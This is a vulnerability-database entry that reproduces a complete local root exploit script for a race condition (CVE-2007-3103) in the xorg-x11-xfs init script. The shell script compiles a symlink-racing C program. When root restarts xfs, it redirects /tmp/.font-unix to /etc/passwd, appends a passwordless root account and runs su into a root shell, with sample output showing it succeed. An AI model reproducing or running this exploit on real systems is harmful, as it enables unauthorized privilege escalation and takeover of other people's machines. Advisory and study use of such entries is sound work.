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X.Org xorg-x11-xfs 1.0.2-3.1 - Local Race Condition

🗓️ 21 Feb 2008 00:00:00Reported by vl4dZType 
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X.Org x11-xfs 1.0.2-3.1 Local Race Condition Vulnerability Description. The exploit targets a race condition in the vulnerable xorg-x11-xfs <= 1.0.2-3.1 version, allowing a local root shell to be obtained by creating a symbolic link to override root privileges in /tmp/.font-unix. Attack exploits start() function in /etc/init.d/xfs script

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#!/bin/sh
# Xorg-x11-xfs Race Condition Vuln local root exploit (CVE-2007-3103)
# 
# Another lame xploit by vl4dZ :)) works on redhat el5 and before 
#
#  $ id
#  uid=1001(kecos) gid=1001(user) groups=1001(user)
#  $ sh xfs-RaceCondition-root-exploit.sh 
#  [*] Generate large data file in /tmp/.font-unix
#  [*] Wait for xfs service to be (re)started by root...
#  [*] Hop, symlink created...
#  [*] Launching root shell
#  -sh-3.1# id
#  uid=0(root) gid=0(root) groups=0(root)

# Vulnerable version is xorg-x11-xfs <= 1.0.2-3.1 and vulnerable code is 
# located in the start() function of the /etc/init.d/xfs script:
# ...
#    rm -rf $FONT_UNIX_DIR
#    mkdir $FONT_UNIX_DIR
#    chown root:root $FONT_UNIX_DIR
#    chmod 1777 $FONT_UNIX_DIR
# ...

# I'm listening right now to nice free music: 
# http://www.jamendo.com/fr/album/5919

FontDir="/tmp/.font-unix"
Zero=/dev/zero
Size=900000

if [ ! -d $FontDir ]; then
   printf "Is xfs running ?\n"
   exit 1
fi

cd /tmp
cat > sym.c << EOF
#include <unistd.h>
int main(){
for(;;){if(symlink("/etc/passwd","/tmp/.font-unix")==0)
{return 0;}}}
EOF

cc sym.c -o sym>/dev/null 2>&1
if [ $? != 0 ]; then
   printf "Error: Cant compile code"
   exit 1
fi

printf "[*] Generate large data file in $FontDir\n"
dd if=${Zero} of=${FontDir}/BigFile bs=1024 count=${Size}>/dev/null 2>&1
if [ $? != 0 ]; then
   printf "Error: cant create large file"
   exit 1
fi

printf "[*] Wait for xfs service to be (re)started by root...\n"
./sym
if [ $? != 0 ]; then
   printf "Error: code failed...\n"
   exit 1
fi

if [ -L /tmp/.font-unix ]; then
    printf "[*] Hop, symlink created...\n"
    printf "[*] Launching root shell\n"
    sleep 2
    rm -f /tmp/.font-unix
    echo "r00t::0:0::/:/bin/sh" >> /etc/passwd
fi
su - r00t

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21 Feb 2008 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 26.2
EPSS0.00081
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